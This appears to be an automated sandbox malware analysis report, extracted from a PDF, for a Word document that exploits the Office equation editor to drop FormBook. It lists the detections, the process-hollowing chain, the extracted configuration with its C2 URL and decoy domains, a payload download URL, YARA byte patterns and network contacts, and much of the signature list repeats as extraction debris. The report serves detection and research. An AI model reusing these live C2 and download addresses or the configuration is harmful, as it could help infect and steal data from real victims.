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Analysis Report INQUIRY-PO3010773..EPR55804.doc

Overview

General Information

Sample 
Name:

INQUIRY-
PO3010773..EPR55804.do
c

Analysis ID: 432659

MD5: ca66b439a178c1…

SHA1: 076b862373c50f3…

SHA256: 4e0fefa37d9dc5f…

Tags: doc

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its oDetected unpacking (overwrites its o……

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers ExploitingSigma detected: Droppers Exploiting……

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE cSigma detected: EQNEDT32.EXE c……

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQSigma detected: File Dropped By EQ……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE fileOffice equation editor drops PE file

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts processOffice equation editor starts process……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

WINWORD.EXE (PID: 2308 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

EQNEDT32.EXE (PID: 2260 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: 

A87236E214F6D42A65F5DEDAC816AEC8)
sirt3512.exe (PID: 2644 cmdline: C:\Users\user\AppData\Roaming\sirt3512.exe MD5: B0901D0A6B90E6B371BA80E2C31ADE52)

sirt3512.exe (PID: 2636 cmdline: C:\Users\user\AppData\Roaming\sirt3512.exe MD5: B0901D0A6B90E6B371BA80E2C31ADE52)

explorer.exe (PID: 1388 cmdline:  MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

control.exe (PID: 2924 cmdline: C:\Windows\SysWOW64\control.exe MD5: 9130377F87A2153FEAB900A00EA1EBFF)

cmd.exe (PID: 2780 cmdline: /c del 'C:\Users\user\AppData\Roaming\sirt3512.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021 Page 4 of 28



{

  "C2 list": [

    "www.studiooculto.com/n8ud/"

  ],

  "decoy": [

    "certification-plus.com",

    "linkedoutbook.com",

    "bethesdalashes.com",

    "blazingthenet.com",

    "lohmanphotogallery.com",

    "solidlinks.info",

    "alvingohproperty.com",

    "hometheaterplanning.com",

    "beoke.com",

    "ddthi.com",

    "floridamotorcyclemasons.net",

    "stither.com",

    "majorhumanities.com",

    "palpaynaira.com",

    "webossgoo.com",

    "thebrck.com",

    "crackhook.com",

    "363dahlia.com",

    "mybusiness-plus.com",

    "seatachawaiianbarbecue.com",

    "uoekiqliea.net",

    "zyslz.com",

    "frightvision.online",

    "gordonenergysolutions.com",

    "matthewcoyte.com",

    "hackingnews.info",

    "royallondonhair.com",

    "thegioirc.com",

    "856380588.xyz",

    "popitara.com",

    "luisxe.info",

    "cbdthc.domains",

    "869bernardilane.com",

    "airikit.com",

    "centraldomusmatera.com",

    "onlinecreditnow.com",

    "ilamaths.com",

    "janeharriganhorn.com",

    "fullapologies.com",

    "xpfisioterapia.com",

    "spring-boot.com",

    "wrighttransportllc.com",

    "nemahealthcare.com",

    "taxikuka.com",

    "promoterss.com",

    "kirklandtroll.com",

    "aviationbrothers.com",

    "fylldagenebergen.com",

    "vycocover.com",

    "cookingsecret.net",

    "intentguild.com",

    "athenalim.com",

    "nothingoingapart.info",

    "neurosene.com",

    "doctorelizabethwise.com",

    "lalamasks.cloud",

    "livemaharashtra24.com",

    "catrinettealyssandre.com",

    "wovkreations.com",

    "piapiadine.com",

    "uebfaushb.com",

    "curlupanddyesc.com",

    "seniorbenefits.support",

    "didyouswipe.com"

  ]

}

Source Rule Description Author Strings

00000007.00000002.2353252437.00000000001
D0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 28



00000007.00000002.2353252437.00000000001
D0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b4f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c4fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000007.00000002.2353252437.00000000001
D0000.00000040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18419:$sqlite3step: 68 34 1C 7B E1
0x1852c:$sqlite3step: 68 34 1C 7B E1
0x18448:$sqlite3text: 68 38 2A 90 C5
0x1856d:$sqlite3text: 68 38 2A 90 C5
0x1845b:$sqlite3blob: 68 53 D8 7F 8C
0x18583:$sqlite3blob: 68 53 D8 7F 8C

00000007.00000002.2353301076.0000000000290000.0000
0004.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000007.00000002.2353301076.0000000000290000.0000
0004.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b4f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c4fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 21 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

5.2.sirt3512.exe.400000.1.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

5.2.sirt3512.exe.400000.1.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b4f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c4fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

5.2.sirt3512.exe.400000.1.raw.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18419:$sqlite3step: 68 34 1C 7B E1
0x1852c:$sqlite3step: 68 34 1C 7B E1
0x18448:$sqlite3text: 68 38 2A 90 C5
0x1856d:$sqlite3text: 68 38 2A 90 C5
0x1845b:$sqlite3blob: 68 53 D8 7F 8C
0x18583:$sqlite3blob: 68 53 D8 7F 8C

5.0.sirt3512.exe.400000.1.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

5.0.sirt3512.exe.400000.1.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a6f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1b6fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 10 entries

Unpacked PEs
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Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected FormBook

Machine Learning detection for dropped file

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Compliance:

Detected unpacking (overwrites its own PE header)

Networking:

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Office equation editor drops PE file

Data Obfuscation:

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Hooking and other Techniques for Hiding and Protection:

Copyright Joe Security LLC 2021 Page 7 of 28



Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 3 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Exploitation for
Client
Execution 1 3

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1 2

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Application
Layer Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Virtualization/Sandbox
Evasion 3 1

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application Layer
Protocol 1 2 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 6 1 2

LSA
Secrets

File and Directory
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or Information 1

Cached
Domain
Credentials

System Information
Discovery 1 1 3

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Obfuscated Files or
Information 4

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly Used
Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Software
Packing 2 3

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application Layer
Protocol

Downgrade to
Insecure
Protocols
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Behavior Graph

ID: 432659

Sample: INQUIRY-PO3010773..EPR55804.doc

Startdate: 10/06/2021

Architecture: WINDOWS

Score: 100

Found malware configuration
Malicious sample detected
(through community Yara

rule)

Antivirus detection
for dropped file 13 other signatures

EQNEDT32.EXE

11

        started       

WINWORD.EXE

291 19

        started       

carbinz.ga

185.239.243.112, 49167, 80

CLOUDIE-AS-APCloudieLimitedHK

Moldova Republic of

C:\Users\user\AppData\Roaming\sirt3512.exe, PE32

dropped

C:\Users\user\AppData\Local\...\sirtx[1].exe, PE32

dropped

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

sirt3512.exe

        started       

Antivirus detection
for dropped file

Multi AV Scanner detection
for dropped file

Detected unpacking (changes
PE section rights) 4 other signatures

sirt3512.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.363dahlia.com

64.98.145.30, 49169, 80

TUCOWS-3CA

Canada

www.869bernardilane.com

40.65.124.100, 49168, 80

MICROSOFT-CORP-MSN-AS-BLOCKUS

United States

System process connects
to network (likely due
to code injection or

exploit)

control.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

INQUIRY-PO3010773..EPR55804.doc 24% ReversingLabs Document-
RTF.Exploit.Heuristic

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\sirtx[1].exe

100% Avira HEUR/AGEN.1141549

C:\Users\user\AppData\Roaming\sirt3512.exe 100% Avira HEUR/AGEN.1141549

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\sirtx[1].exe

100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\sirt3512.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\sirtx[1].exe

35% ReversingLabs ByteCode-
MSIL.Trojan.Taskun

C:\Users\user\AppData\Roaming\sirt3512.exe 35% ReversingLabs ByteCode-
MSIL.Trojan.Taskun

Source Detection Scanner Label Link Download

7.2.control.exe.b0000.0.unpack 100% Avira TR/Dropper.Gen Download File

4.2.sirt3512.exe.1220000.3.unpack 100% Avira HEUR/AGEN.1109526 Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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5.0.sirt3512.exe.1220000.0.unpack 100% Avira HEUR/AGEN.1141549 Download File

5.0.sirt3512.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

7.0.control.exe.b0000.0.unpack 100% Avira TR/Dropper.Gen Download File

5.2.sirt3512.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

5.2.sirt3512.exe.1b0000.0.unpack 100% Avira TR/Dropper.Gen Download File

5.2.sirt3512.exe.857418.2.unpack 100% Avira TR/Dropper.Gen Download File

4.0.sirt3512.exe.1220000.0.unpack 100% Avira HEUR/AGEN.1141549 Download File

5.0.sirt3512.exe.1220000.2.unpack 100% Avira HEUR/AGEN.1141549 Download File

5.2.sirt3512.exe.1220000.5.unpack 100% Avira HEUR/AGEN.1141549 Download File

Source Detection Scanner Label Link Download

No Antivirus matches

Source Detection Scanner Label Link

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

cgi.search.biglobe.ne.jp/favicon.ico 0% Avira URL Cloud safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

buscar.ozu.es/ 0% URL Reputation safe

buscar.ozu.es/ 0% URL Reputation safe

buscar.ozu.es/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

carbinz.ga/modex/sirtx.exe 0% Avira URL Cloud safe

Domains

URLs
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www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

www.studiooculto.com/n8ud/ 0% Avira URL Cloud safe

www.ozu.es/favicon.ico 0% URL Reputation safe

www.ozu.es/favicon.ico 0% URL Reputation safe

www.ozu.es/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

